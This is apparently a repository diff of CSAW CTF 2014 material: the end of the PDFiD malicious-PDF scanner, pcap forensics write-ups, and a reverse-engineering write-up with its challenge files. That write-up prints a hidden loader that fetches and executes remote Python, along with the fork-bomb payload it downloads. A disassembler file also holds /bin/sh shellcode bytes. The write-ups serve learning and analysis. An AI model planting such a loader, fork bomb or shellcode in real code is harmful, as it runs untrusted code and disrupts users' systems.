<Keyword Count="1" HexcodeCount="0" Name="startxref"/>
<Keyword Count="1" HexcodeCount="0" Name="/Page"/>
<Keyword Count="0" HexcodeCount="0" Name="/Encrypt"/>
<Keyword Count="1" HexcodeCount="0" Name="/JS"/>
<Keyword Count="1" HexcodeCount="0" Name="/JavaScript"/>
<Keyword Count="0" HexcodeCount="0" Name="/AA"/>
<Keyword Count="1" HexcodeCount="0" Name="/OpenAction"/>
<Keyword Count="0" HexcodeCount="0" Name="/JBIG2Decode"/>
</Keywords>
<Dates>
<Date Value="D:20090128132916+01'00" Name="/ModDate"/>
</Dates>
</PDFiD>
"""
word = ''
wordExact = []
hexcode = False
lastName = ''
insideStream = False
keywords = ('obj',
'endobj',
'stream',
'endstream',
'xref',
'trailer',
'startxref',
'/Page',
'/Encrypt',
'/ObjStm',
'/JS',
'/JavaScript',
'/AA',
'/OpenAction',
'/AcroForm',
'/JBIG2Decode',
'/RichMedia',
'/Launch',
'/EmbeddedFile',
'/XFA',
)
words = {}
dates = []
for keyword in keywords:
words[keyword] = [0, 0]
slash = ''
xmlDoc = xml.dom.minidom.getDOMImplementation().createDocument(None, 'PDFiD', None)
att = xmlDoc.createAttribute('Version')
att.nodeValue = __version__
xmlDoc.documentElement.setAttributeNode(att)
att = xmlDoc.createAttribute('Filename')
att.nodeValue = file
xmlDoc.documentElement.setAttributeNode(att)
attErrorOccured = xmlDoc.createAttribute('ErrorOccured')
xmlDoc.documentElement.setAttributeNode(attErrorOccured)
attErrorOccured.nodeValue = 'False'
attErrorMessage = xmlDoc.createAttribute('ErrorMessage')
xmlDoc.documentElement.setAttributeNode(attErrorMessage)
attErrorMessage.nodeValue = ''
oPDFDate = None
oEntropy = None
oPDFEOF = None
oCVE_2009_3459 = cCVE_2009_3459()
try:
attIsPDF = xmlDoc.createAttribute('IsPDF')
xmlDoc.documentElement.setAttributeNode(attIsPDF)
oBinaryFile = cBinaryFile(file)
if extraData:
oPDFDate = cPDFDate()
oEntropy = cEntropy()
oPDFEOF = cPDFEOF()
(bytesHeader, pdfHeader) = FindPDFHeaderRelaxed(oBinaryFile)
if disarm:
(pathfile, extension) = os.path.splitext(file)
fOut = open(pathfile + '.disarmed' + extension, 'wb')
for byteHeader in bytesHeader:
fOut.write(C2BIP3(chr(byteHeader)))
else:
fOut = None
if oEntropy != None:
for byteHeader in bytesHeader:
oEntropy.add(byteHeader, insideStream)
if pdfHeader == None and not force:
attIsPDF.nodeValue = 'False'
return xmlDoc
else:
if pdfHeader == None:
attIsPDF.nodeValue = 'False'
pdfHeader = ''
else:
attIsPDF.nodeValue = 'True'
att = xmlDoc.createAttribute('Header')
att.nodeValue = repr(pdfHeader[0:10]).strip("'")
xmlDoc.documentElement.setAttributeNode(att)
byte = oBinaryFile.byte()
while byte != None:
char = chr(byte)
charUpper = char.upper()
if charUpper >= 'A' and charUpper <= 'Z' or charUpper >= '0' and charUpper <= '9':
word += char
wordExact.append(char)
elif slash == '/' and char == '#':
d1 = oBinaryFile.byte()
if d1 != None:
d2 = oBinaryFile.byte()
if d2 != None and (chr(d1) >= '0' and chr(d1) <= '9' or chr(d1).upper() >= 'A' and chr(d1).upper() <= 'F') and (chr(d2) >= '0' and chr(d2) <= '9' or chr(d2).upper() >= 'A' and chr(d2).upper() <= 'F'):
word += chr(int(chr(d1) + chr(d2), 16))
wordExact.append(int(chr(d1) + chr(d2), 16))
hexcode = True
if oEntropy != None:
oEntropy.add(d1, insideStream)
oEntropy.add(d2, insideStream)
if oPDFEOF != None:
oPDFEOF.parse(d1)
oPDFEOF.parse(d2)
else:
oBinaryFile.unget(d2)
oBinaryFile.unget(d1)
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
if disarm:
fOut.write(C2BIP3(char))
else:
oBinaryFile.unget(d1)
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
if disarm:
fOut.write(C2BIP3(char))
else:
oCVE_2009_3459.Check(lastName, word)
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
if char == '/':
slash = '/'
else:
slash = ''
if disarm:
fOut.write(C2BIP3(char))
if oPDFDate != None and oPDFDate.parse(char) != None:
dates.append([oPDFDate.date, lastName])
if oEntropy != None:
oEntropy.add(byte, insideStream)
if oPDFEOF != None:
oPDFEOF.parse(char)
byte = oBinaryFile.byte()
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
# check to see if file ended with %%EOF. If so, we can reset charsAfterLastEOF and add one to EOF count. This is never performed in
# the parse function because it never gets called due to hitting the end of file.
if byte == None and oPDFEOF != None:
if oPDFEOF.token == '%%EOF':
oPDFEOF.cntEOFs += 1
oPDFEOF.cntCharsAfterLastEOF = 0
oPDFEOF.token = ''
except SystemExit:
sys.exit()
except:
attErrorOccured.nodeValue = 'True'
attErrorMessage.nodeValue = traceback.format_exc()
if disarm:
fOut.close()
attEntropyAll = xmlDoc.createAttribute('TotalEntropy')
xmlDoc.documentElement.setAttributeNode(attEntropyAll)
attCountAll = xmlDoc.createAttribute('TotalCount')
xmlDoc.documentElement.setAttributeNode(attCountAll)
attEntropyStream = xmlDoc.createAttribute('StreamEntropy')
xmlDoc.documentElement.setAttributeNode(attEntropyStream)
attCountStream = xmlDoc.createAttribute('StreamCount')
xmlDoc.documentElement.setAttributeNode(attCountStream)
attEntropyNonStream = xmlDoc.createAttribute('NonStreamEntropy')
xmlDoc.documentElement.setAttributeNode(attEntropyNonStream)
attCountNonStream = xmlDoc.createAttribute('NonStreamCount')
xmlDoc.documentElement.setAttributeNode(attCountNonStream)
if oEntropy != None:
(countAll, entropyAll , countStream, entropyStream, countNonStream, entropyNonStream) = oEntropy.calc()
attEntropyAll.nodeValue = '%f' % entropyAll
attCountAll.nodeValue = '%d' % countAll
attEntropyStream.nodeValue = '%f' % entropyStream
attCountStream.nodeValue = '%d' % countStream
attEntropyNonStream.nodeValue = '%f' % entropyNonStream
attCountNonStream.nodeValue = '%d' % countNonStream
else:
attEntropyAll.nodeValue = ''
attCountAll.nodeValue = ''
attEntropyStream.nodeValue = ''
attCountStream.nodeValue = ''
attEntropyNonStream.nodeValue = ''
attCountNonStream.nodeValue = ''
attCountEOF = xmlDoc.createAttribute('CountEOF')
xmlDoc.documentElement.setAttributeNode(attCountEOF)
attCountCharsAfterLastEOF = xmlDoc.createAttribute('CountCharsAfterLastEOF')
xmlDoc.documentElement.setAttributeNode(attCountCharsAfterLastEOF)
if oPDFEOF != None:
attCountEOF.nodeValue = '%d' % oPDFEOF.cntEOFs
attCountCharsAfterLastEOF.nodeValue = '%d' % oPDFEOF.cntCharsAfterLastEOF
else:
attCountEOF.nodeValue = ''
attCountCharsAfterLastEOF.nodeValue = ''
eleKeywords = xmlDoc.createElement('Keywords')
xmlDoc.documentElement.appendChild(eleKeywords)
for keyword in keywords:
eleKeyword = xmlDoc.createElement('Keyword')
eleKeywords.appendChild(eleKeyword)
att = xmlDoc.createAttribute('Name')
att.nodeValue = keyword
eleKeyword.setAttributeNode(att)
att = xmlDoc.createAttribute('Count')
att.nodeValue = str(words[keyword][0])
eleKeyword.setAttributeNode(att)
att = xmlDoc.createAttribute('HexcodeCount')
att.nodeValue = str(words[keyword][1])
eleKeyword.setAttributeNode(att)
eleKeyword = xmlDoc.createElement('Keyword')
eleKeywords.appendChild(eleKeyword)
att = xmlDoc.createAttribute('Name')
att.nodeValue = '/Colors > 2^24'
eleKeyword.setAttributeNode(att)
att = xmlDoc.createAttribute('Count')
att.nodeValue = str(oCVE_2009_3459.count)
eleKeyword.setAttributeNode(att)
att = xmlDoc.createAttribute('HexcodeCount')
att.nodeValue = str(0)
eleKeyword.setAttributeNode(att)
if allNames:
keys = sorted(words.keys())
for word in keys:
if not word in keywords:
eleKeyword = xmlDoc.createElement('Keyword')
eleKeywords.appendChild(eleKeyword)
att = xmlDoc.createAttribute('Name')
att.nodeValue = word
eleKeyword.setAttributeNode(att)
att = xmlDoc.createAttribute('Count')
att.nodeValue = str(words[word][0])
eleKeyword.setAttributeNode(att)
att = xmlDoc.createAttribute('HexcodeCount')
att.nodeValue = str(words[word][1])
eleKeyword.setAttributeNode(att)
eleDates = xmlDoc.createElement('Dates')
xmlDoc.documentElement.appendChild(eleDates)
dates.sort(key=lambda x: x[0])
for date in dates:
eleDate = xmlDoc.createElement('Date')
eleDates.appendChild(eleDate)
att = xmlDoc.createAttribute('Value')
att.nodeValue = date[0]
eleDate.setAttributeNode(att)
att = xmlDoc.createAttribute('Name')
att.nodeValue = date[1]
eleDate.setAttributeNode(att)
return xmlDoc
def PDFiD2String(xmlDoc, force):
result = 'PDFiD %s %s\n' % (xmlDoc.documentElement.getAttribute('Version'), xmlDoc.documentElement.getAttribute('Filename'))
if xmlDoc.documentElement.getAttribute('ErrorOccured') == 'True':
return result + '***Error occured***\n%s\n' % xmlDoc.documentElement.getAttribute('ErrorMessage')
if not force and xmlDoc.documentElement.getAttribute('IsPDF') == 'False':
return result + ' Not a PDF document\n'
result += ' PDF Header: %s\n' % xmlDoc.documentElement.getAttribute('Header')
for node in xmlDoc.documentElement.getElementsByTagName('Keywords')[0].childNodes:
result += ' %-16s %7d' % (node.getAttribute('Name'), int(node.getAttribute('Count')))
if int(node.getAttribute('HexcodeCount')) > 0:
result += '(%d)' % int(node.getAttribute('HexcodeCount'))
result += '\n'
if xmlDoc.documentElement.getAttribute('CountEOF') != '':
result += ' %-16s %7d\n' % ('%%EOF', int(xmlDoc.documentElement.getAttribute('CountEOF')))
if xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF') != '':
result += ' %-16s %7d\n' % ('After last %%EOF', int(xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF')))
for node in xmlDoc.documentElement.getElementsByTagName('Dates')[0].childNodes:
result += ' %-23s %s\n' % (node.getAttribute('Value'), node.getAttribute('Name'))
if xmlDoc.documentElement.getAttribute('TotalEntropy') != '':
result += ' Total entropy: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('TotalEntropy'), xmlDoc.documentElement.getAttribute('TotalCount'))
if xmlDoc.documentElement.getAttribute('StreamEntropy') != '':
result += ' Entropy inside streams: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('StreamEntropy'), xmlDoc.documentElement.getAttribute('StreamCount'))
if xmlDoc.documentElement.getAttribute('NonStreamEntropy') != '':
result += ' Entropy outside streams: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('NonStreamEntropy'), xmlDoc.documentElement.getAttribute('NonStreamCount'))
return result
def Scan(directory, allNames, extraData, disarm, force):
try:
if os.path.isdir(directory):
for entry in os.listdir(directory):
Scan(os.path.join(directory, entry), allNames, extraData, disarm, force)
else:
result = PDFiD2String(PDFiD(directory, allNames, extraData, disarm, force), force)
print(result)
logfile = open('PDFiD.log', 'a')
logfile.write(result + '\n')
logfile.close()
except:
pass
#function derived from: http://blog.9bplus.com/pdfidpy-output-to-json
def PDFiD2JSON(xmlDoc, force):
#Get Top Layer Data
errorOccured = xmlDoc.documentElement.getAttribute('ErrorOccured')
errorMessage = xmlDoc.documentElement.getAttribute('ErrorMessage')
filename = xmlDoc.documentElement.getAttribute('Filename')
header = xmlDoc.documentElement.getAttribute('Header')
isPdf = xmlDoc.documentElement.getAttribute('IsPDF')
version = xmlDoc.documentElement.getAttribute('Version')
entropy = xmlDoc.documentElement.getAttribute('Entropy')
#extra data
countEof = xmlDoc.documentElement.getAttribute('CountEOF')
countChatAfterLastEof = xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF')
totalEntropy = xmlDoc.documentElement.getAttribute('TotalEntropy')
streamEntropy = xmlDoc.documentElement.getAttribute('StreamEntropy')
nonStreamEntropy = xmlDoc.documentElement.getAttribute('NonStreamEntropy')
keywords = []
dates = []
#grab all keywords
for node in xmlDoc.documentElement.getElementsByTagName('Keywords')[0].childNodes:
name = node.getAttribute('Name')
count = int(node.getAttribute('Count'))
if int(node.getAttribute('HexcodeCount')) > 0:
hexCount = int(node.getAttribute('HexcodeCount'))
else:
hexCount = 0
keyword = { 'count':count, 'hexcodecount':hexCount, 'name':name }
keywords.append(keyword)
#grab all date information
for node in xmlDoc.documentElement.getElementsByTagName('Dates')[0].childNodes:
name = node.getAttribute('Name')
value = node.getAttribute('Value')
date = { 'name':name, 'value':value }
dates.append(date)
data = { 'countEof':countEof, 'countChatAfterLastEof':countChatAfterLastEof, 'totalEntropy':totalEntropy, 'streamEntropy':streamEntropy, 'nonStreamEntropy':nonStreamEntropy, 'errorOccured':errorOccured, 'errorMessage':errorMessage, 'filename':filename, 'header':header, 'isPdf':isPdf, 'version':version, 'entropy':entropy, 'keywords': { 'keyword': keywords }, 'dates': { 'date':dates} }
complete = [ { 'pdfid' : data} ]
result = json.dumps(complete)
return result
def Main():
oParser = optparse.OptionParser(usage='usage: %prog [options] [pdf-file|zip-file|url]\n' + __description__, version='%prog ' + __version__)
oParser.add_option('-s', '--scan', action='store_true', default=False, help='scan the given directory')
oParser.add_option('-a', '--all', action='store_true', default=False, help='display all the names')
oParser.add_option('-e', '--extra', action='store_true', default=False, help='display extra data, like dates')
oParser.add_option('-f', '--force', action='store_true', default=False, help='force the scan of the file, even without proper %PDF header')
oParser.add_option('-d', '--disarm', action='store_true', default=False, help='disable JavaScript and auto launch')
(options, args) = oParser.parse_args()
if len(args) == 0:
if options.disarm:
print('Option disarm not supported with stdin')
options.disarm = False
print(PDFiD2String(PDFiD('', options.all, options.extra, options.disarm, options.force), options.force))
elif len(args) == 1:
if options.scan:
Scan(args[0], options.all, options.extra, options.disarm, options.force)
else:
print(PDFiD2String(PDFiD(args[0], options.all, options.extra, options.disarm, options.force), options.force))
else:
oParser.print_help()
print('')
print(' %s' % __description__)
print(' Source code put in the public domain by Didier Stevens, no Copyright')
print(' Use at your own risk')
print(' https://DidierStevens.com')
return
if __name__ == '__main__':
Main()

View File

@ -0,0 +1,100 @@
# Forensics-200: why not sftp?
The meaning of this problem is to teach about the need of encrypting your data. The [FTP] protocol sends clear text over the wire, *i.e* the data is transmitted without any encryption.
[SSH/Secure File Transfer Protocol] is a network protocol providing secure file transfer. Using SFTP, instead of FTP, would avoid to find the flag in this problem in the way we did.
This is the second forensics problem and it starts with the following text:
> well seriously, why not?
>
> Written by marc
>
> [traffic-5.pcap]
>
---
## Analyzing the PCAP File
Now let's search for the flag! We open the [pcap] file in [Wireshark] (an open-source packet analyzer). There are several things that we could search for in this file, for instance we could look for FTP transactions or we could search for strings such as *password* or *flag*. We show both approaches.
## Solution 1: Searching for the string *flag*
#### Going in the Wrong Way
So the first thing I did was searching for the string *password*:
1. Go to Edit
2. Go to Find Packet
3. Search for password choosing the options string and packet bytes.
Clicking on *Follow TCP Stream* gives:
![](http://i.imgur.com/c61P5Aj.png)
Nope. This is a misleading information!
---
#### But We Were Almost There!
Now, if we search for *flag* we actually find something:
![](http://i.imgur.com/knuwJFq.png)
We find the packet with a file named flag! Awesome.
---
## Solution 2: Looking for the FTP Protocols
All right, let's use another information we have: it should be something related to the FTP protocol. In Wireshark, we can find specific protocol with filters. We want to filter for FTP with some data. We start trying the usual FTP-DATA port:
```
tcp.port==20
```
Nope. The results should be another port. Let's search explicitly for:
```
ftp-data
```
Cool, we found a few packets:
![](http://i.imgur.com/cWhiXZD.png)
We don't need to scroll down too much to find a packet with a string flag on it! Awesome.
---
## Extracting the File
Once we find the packet with any of the methods above, we right-click it selecting *Follow TCP Stream*. This leads to:
![](http://i.imgur.com/LZTse2s.png)
The file *flag.png* is our flag. To extract it we click in the *Save as* button, then in the terminal we can use the command [file]:
```sh
$ file s.whatever
s.whatever: Zip archive data, at least v2.0 to extract
```
Awesome, so all we need is to *unzip* this file and we get *flag.png*:
![](http://i.imgur.com/WcxyITv.png)
**Hack all the Things!**
[file]: http://en.wikipedia.org/wiki/File_(command)
[SSH/Secure File Transfer Protocol]: http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol
[traffic-5.pcap]: https://ctf.isis.poly.edu/static/uploads/7831788f2ab94feddc72ce53e80fda5f/traffic-5.pcap
[sftp]: http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol
[pcap]: http://en.wikipedia.org/wiki/Pcap
[Wireshark]: https://www.wireshark.org/
[FTP]: http://en.wikipedia.org/wiki/File_Transfer_Protocol

View File

@ -0,0 +1,69 @@
#Networking-100: Big Data
This is the only networking problem, and it is only 100 points, so it turned out to be very easy.
The problem starts with the following text:
> Something, something, data, something, something, big
>
> Written by HockeyInJune
>
> [pcap.pcapng]
____
## Inspecting the Wireshark File
The file extension [.pcapng] correspond to files for *packet capture*. They usually contain a dump of data packets captured over a network. This type of files holds blocks or data, and they can be used to rebuild captured packets into recognizable data.
We can open this file with [Wireshark], which is an open-source packet analyzer, or using [chaosreader], a freeware tool to trace TCP and UDP sessions. We choose the first. There are several things that we could explore and look for in this file. We could search for all the protocols inside and analyse them. We could inspect the addresses. Or we could look for specific strings such as logins or passwords.
## Searching for the String *Password*
It turned out that all we need was to look for the string *password*. To do this we followed these steps in Wireshark:
1. Go to *Edit*
2. Go to *Find Packet*
3. Search for **password** choosing the options *string* and *packet bytes*.
Yay! We found something over a **telnet** protocol:
![](http://i.imgur.com/mUN4b1n.png)
____
## Following the TCP Stream
Now, all we need to do is to right-click in the line and choose *Follow TCP Stream*. This returns:
```
..... .....'...........%..&..... ..#..'..$..%..&..#..............$.. .....'.............P...... .38400,38400....'.......XTERM.......".....!.....".....!............
Linux 3.13.0-32-generic (ubuntu) (pts/0)
..ubuntu login: j.ju.ul.li.ia.an.n
.
..Password: flag{bigdataisaproblemnotasolution}
.
.
Login incorrect
..ubuntu login:
```
And we find our flag: **bigdataisaproblemnotasolution**!
**Hack all the things!**
Ps: If you had decided to use *chaosreader* to process the pcapng file instead, the solution [from this write-up] is also cool:
```sh
for f in pcap.pcapng-chaosreader/*.html; do cat "${f}" | w3m -dump -T text/html "${f}"; done | egrep "flag{"
```
[from this write-up]: http://evandrix.github.io/ctf/2014-csaw-networking-100-bigdata.html
[pcap.pcapng]:https://github.com/ctfs/write-ups/blob/master/csaw-ctf-2014/big-data/pcap.pcapng
[.pcapng]: https://appliance.cloudshark.org/blog/5-reasons-to-move-to-pcapng/
[Wireshark]: https://www.wireshark.org/
[chaosreader]:http://chaosreader.sourceforge.net/

Binary file not shown.

View File

@ -0,0 +1,139 @@
# Reverse Engineering-100: eggshells
This is the first exploitation problem and it starts with the following text:
> I trust people on the internet all the time, do you?
>
> Written by ColdHeat
>
> eggshells-master.zip
___
## Unzipping and Analyzing the Files
Lets unzip the provided zip file:
```sh
$ unzip eggshells-master.zip
```
This creates a directory called *eggshells-master* that contains several *Python* and *exe* files. Let us look closer to the contend of this folder:
```sh
$ tree .
├── capstone.py
├── distorm.py
├── interpreter.py
├── main.py
├── nasm
│   ├── LICENSE
│   ├── nasm.exe
│   ├── ndisasm.exe
│   └── rdoff
│   ├── ldrdf.exe
│   ├── rdf2bin.exe
│   ├── rdf2com.exe
│   ├── rdf2ihx.exe
│   ├── rdf2ith.exe
│   ├── rdf2srec.exe
│   ├── rdfdump.exe
│   ├── rdflib.exe
│   └── rdx.exe
├── nasm.py
├── server.py
├── shellcode.py
├── utils.pyc
└── wrapper.py
```
Do you see anything unusual?
___
## Decompiled a pre-compiled Python File
A pre-compiled Python file stands out in this list: *utils.pyc*. We need to decompile it. For this task we use [uncompyle2], which can be installed with:
```sh
$ sudo pip install uncompyle2
```
Let's learn a bit more about this tool with ```uncompyle2 --help```. The usage is straightfoward, but it's a good knowledge to learn about the *-o* flag, which will decompile to a *.dis* file instead of *stdout*:
```sh
Usage: uncompyle2 [OPTIONS]... [ FILE | DIR]...
Examples:
uncompyle2 foo.pyc bar.pyc # decompile foo.pyc, bar.pyc to stdout
uncompyle2 -o . foo.pyc bar.pyc # decompile to ./foo.dis and ./bar.dis
uncompyle2 -o /tmp /usr/lib/python1.5 # decompile whole library
Options:
-o <path> output decompiled files to this path:
if multiple input files are decompiled, the common prefix
is stripped from these names and the remainder appended to
<path>
uncompyle -o /tmp bla/fasel.pyc bla/foo.pyc
-> /tmp/fasel.dis, /tmp/foo.dis
uncompyle -o /tmp bla/fasel.pyc bar/foo.pyc
-> /tmp/bla/fasel.dis, /tmp/bar/foo.dis
```
We could also use *.py* extension if we like:
```sh
--py use '.py' extension for generated files
```
Also, we learn about all the possible outputs:
```sh
Extensions of generated files:
'.pyc_dis' '.pyo_dis' successfully decompiled (and verified if --verify)
'.py' with --py option
+ '_unverified' successfully decompile but --verify failed
+ '_failed' uncompyle failed (contact author for enhancement)
```
All right, no more diverging. Let's play! We run the ```uncompyle2``` command and obtain the following:
```sh
$ uncompyle2 utils.pyc
#Embedded file name: /Users/kchung/Desktop/CSAW Quals 2014/rev100/utils.py
exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()
+++ okay decompyling utils.pyc
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
```
___
## Parsing the Result and Voilà
So all that this file does is in this line:
```python
exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()
```
To understand this code,, we need to know that Python's [exec] method performs dynamic execution of code. In this problem, *exec* starts importing [urllib2], which is a library for opening URLs. It has the method [urlopen()] to open the URL url, which can be either a string or a request object. This function returns a file-like object with three additional methods. Finally, [read()] would read this returned file.
So all that this script does is to try running a Python file that is hosted online!
Well, let's see what this file does! Let's just *curl* [http://kchung.co/lol.py]:
```sh
$ curl http://kchung.co/lol.py
import os
while True:
try:
os.fork()
except:
os.system('start')
# flag{trust_is_risky}
```
Yaaay! The flag is **trust_is_risky**! Easy!
**Hack all the things!**
[uncompyle2]: https://github.com/gstarnberger/uncompyle
[http://kchung.co/lol.py]: http://kchung.co/lol.py
[exec]: https://docs.python.org/2/reference/simple_stmts.html#exec
[urllib2]: https://docs.python.org/2/library/urllib2.html#module-urllib2
[urlopen()]: https://docs.python.org/2/library/urllib2.html#urllib2.urlopen
[read()]: http://www.tutorialspoint.com/python/file_read.htm

View File

@ -0,0 +1,46 @@
import utils
from capstone import *
def arch(arch):
if arch == 'arm':
return CS_ARCH_ARM
elif arch == 'arm64':
return CS_ARCH_ARM64
elif arch == 'mips':
return CS_ARCH_MIPS
elif arch == 'x86':
return CS_ARCH_X86
def mode(mode):
if mode == 'arm':
return CS_MODE_ARM
elif mode == 'thumb':
return CS_MODE_THUMB
elif mode == '16' or mode == 16:
return CS_MODE_16
elif mode == '32' or mode == 32:
return CS_MODE_32
elif mode == '64' or mode == 64:
return CS_MODE_32
def disassemble(code, _arch, _mode):
_arch = arch(_arch)
_mode = mode(_mode)
md = Cs(_arch, _mode)
disassembly = []
for i in md.disasm(CODE, 0x0000000):
disassembly.append(
(i.address, len(str(i.bytes).encode('hex')) / 2, str(i.bytes).encode('hex'), i.mnemonic, i.op_str))
return disassembly
CODE = "\x90\x90\x90"
for x in disassemble(CODE, 'x86', '64'):
print "0x%08x (%02x) %-20s %s %s" % (x[0], x[1], x[2], x[3], x[4])

View File

@ -0,0 +1,36 @@
import utils
import distorm3
import re
hex_regex = re.compile(r'0x\w*')
def disassemble(shellcode, mode=32):
'''
Does disassembly with distorm3 and handles the string joining
'''
if mode == 32:
disasm = distorm3.Decode(0x0, shellcode, distorm3.Decode32Bits)
elif mode == 64:
disasm = distorm3.Decode(0x0, shellcode, distorm3.Decode64Bits)
elif mode == 16:
disasm = distorm3.Decode(0x0, shellcode, distorm3.Decode16Bits)
disassembly = ''
for line in disasm:
hexvals = hex_regex.findall(line[2])
if len(hexvals) > 0 and ('PUSH' in line[2] or 'MOV' in line[2]):
line = list(line) # Why you give me tuple Distorm?
if len(hexvals[0][2:]) > 2:
line[2] = line[2] + '\t; ' + hexvals[0][2:].decode('hex')
else:
line[2] = line[2] + '\t; ' + str(int(hexvals[0], 16))
disassembly += "0x%08x (%02x) %-20s %s" % (line[0], line[1], line[3], line[2]) + "\n"
return disassembly
if __name__ == '__main__':
print disassemble('\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\xb0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05', 64)

View File

@ -0,0 +1,837 @@
"""A Tkinter-based console for conversing with the Python interpreter,
featuring more tolerant pasting of code from other interactive sessions,
better handling of continuations than the standard Python interpreter,
highlighting of the most recently-executed code block, the ability to
edit and reexecute previously entered code, a history of recently-entered
lines, automatic multi-level completion with pop-up menus, and pop-up help.
Ka-Ping Yee <ping@lfw.org>, 18 April 1999. This software is in the public
domain and is provided without express or implied warranty. Permission to
use, modify, or distribute the software for any purpose is hereby granted."""
# TODO: autoindent to matching bracket after an unbalanced line (hard)
# TODO: outdent after line starting with "break", "raise", "return", etc.
# TODO: keep a stack of indent levels for backspace to jump back to
# TODO: blink or highlight matching brackets
# TODO: delete the prompt when joining lines; allow a way to break lines
import utils
from Tkinter import *
import sys, string, traceback, types, __builtin__
REVISION = "$Revision: 1.4 $"
VERSION = string.split(REVISION)[1]
class OutputPipe:
"""A substitute file object for redirecting output to a function."""
def __init__(self, writer):
self.writer = writer
self.closed = 0
def __repr__(self):
return "<OutputPipe to %s>" % repr(self.writer)
def read(self, length):
return ""
def write(self, data):
if not self.closed: self.writer(data)
def close(self):
self.closed = 1
class Console(Frame):
def __init__(self, parent=None, dict={}, **options):
"""Construct from a parent widget, an optional dictionary to use
as the namespace for execution, and any configuration options."""
Frame.__init__(self, parent)
# Continuation state.
self.continuation = 0
self.error = 0
self.intraceback = 0
self.pasted = 0
# The command history.
self.history = []
self.historyindex = None
self.current = ""
# Completion state.
self.compmenus = []
self.compindex = None
self.compfinish = ""
# Redirection.
self.stdout = OutputPipe(lambda data, w=self.write: w(data, "stdout"))
self.stderr = OutputPipe(lambda data, w=self.write: w(data, "stderr"))
# Interpreter state.
if not hasattr(sys, "ps1"): sys.ps1 = ">>> "
if not hasattr(sys, "ps2"): sys.ps2 = "... "
self.prefixes = [sys.ps1, sys.ps2, ">> ", "> "]
self.startup = "Python %s\n%s\n" % (sys.version, sys.copyright) + \
"Python Console v%s by Ka-Ping Yee <ping@lfw.org>\n" % VERSION
self.dict = dict
# The text box.
self.text = Text(self, insertontime=200, insertofftime=150)
self.text.insert("end", self.startup)
self.text.insert("end", sys.ps1)
self.text.bind("<Return>", self.cb_return)
self.text.bind("<Button-1>", self.cb_select)
self.text.bind("<ButtonRelease-1>", self.cb_position)
self.text.bind("<ButtonRelease-2>", self.cb_paste)
self.text.bind("<Home>", self.cb_home)
self.text.bind("<Control-Home>", self.cb_ctrlhome)
self.text.bind("<Up>", self.cb_back)
self.text.bind("<Down>", self.cb_forward)
self.text.bind("<Configure>", self.cb_cleanup)
self.text.bind("<Expose>", self.cb_cleanup)
self.text.bind("<Key>", self.cb_cleanup)
self.text.bind("<Tab>", self.cb_complete)
self.text.bind("<Left>", self.cb_position)
self.text.bind("<space>", self.cb_space)
self.text.bind("<BackSpace>", self.cb_backspace)
self.text.bind("<KeyRelease-BackSpace>", self.cb_nothing)
self.text.bind("<F1>", self.cb_help)
self.text.bind("<Control-slash>", self.cb_help)
self.text.bind("<Alt-h>", self.cb_help)
# The scroll bar.
self.scroll = Scrollbar(self, command=self.text.yview)
self.text.config(yscrollcommand=self.scroll.set)
self.scroll.pack(side=RIGHT, fill=Y)
self.text.pack(fill=BOTH, expand=1)
self.text.focus()
# Configurable options.
self.options = {"stdoutcolour": "#7020c0",
"stderrcolour": "#c03020",
"morecolour": "#a0d0f0",
"badcolour": "#e0b0b0",
"runcolour": "#90d090"}
apply(self.config, (), self.options)
apply(self.config, (), options)
def __getitem__(self, key):
return self.options[key]
def __setitem__(self, key, value):
if not self.options.has_key(key):
raise KeyError, 'no such configuration option "%s"' % key
self.options[key] = value
if key == "stdoutcolour":
self.text.tag_configure("stdout", foreground=value)
if key == "stderrcolour":
self.text.tag_configure("stderr", foreground=value)
def config(self, *args, **dict):
"""Get or set configuration options in a Tkinter-like style."""
if args == () and dict == {}:
return self.options
if len(args) == 1:
return self.options[args[0]]
for key, value in dict.items():
self[key] = value
# Text box routines.
def trim(self, command):
"""Trim any matching prefix from the given command line, returning
the amount trimmed and the trimmed result."""
for prefix in self.prefixes:
if command[:len(prefix)] == prefix:
return len(prefix), command[len(prefix):]
return 0, command
def getline(self, line=None, trim=0):
"""Return the command on the current line."""
if line is None:
line, pos = self.cursor()
command = self.text.get("%d.0" % line, "%d.end" % line)
if trim:
trimmed, command = self.trim(command)
return command
def cursor(self):
"""Get the current line and position of the cursor."""
cursor = self.text.index("insert")
[line, pos] = map(string.atoi, string.split(cursor, "."))
return line, pos
def write(self, data, tag=None):
"""Show output from stdout or stderr in the console."""
if self.intraceback and data[-2:] == "\n ": data = data[:-1]
start = self.text.index("insert")
self.text.insert("insert", data)
end = self.text.index("insert")
if tag: self.text.tag_add(tag, start, end)
# History mechanism.
def cb_back(self, event):
"""Step back in the history."""
if self.history:
if self.historyindex == None:
self.current = self.getline(trim=1)
self.historyindex = len(self.history) - 1
elif self.historyindex > 0:
self.historyindex = self.historyindex - 1
self.recall()
return "break"
def cb_forward(self, event):
"""Step forward in the history."""
if self.history and self.historyindex is not None:
self.historyindex = self.historyindex + 1
if self.historyindex < len(self.history):
self.recall()
else:
self.historyindex = None
self.recall(self.current)
return "break"
def recall(self, command=None):
"""Show a command from the history on the current line."""
if command is None:
command = self.history[self.historyindex]
line, pos = self.cursor()
current = self.getline(line)
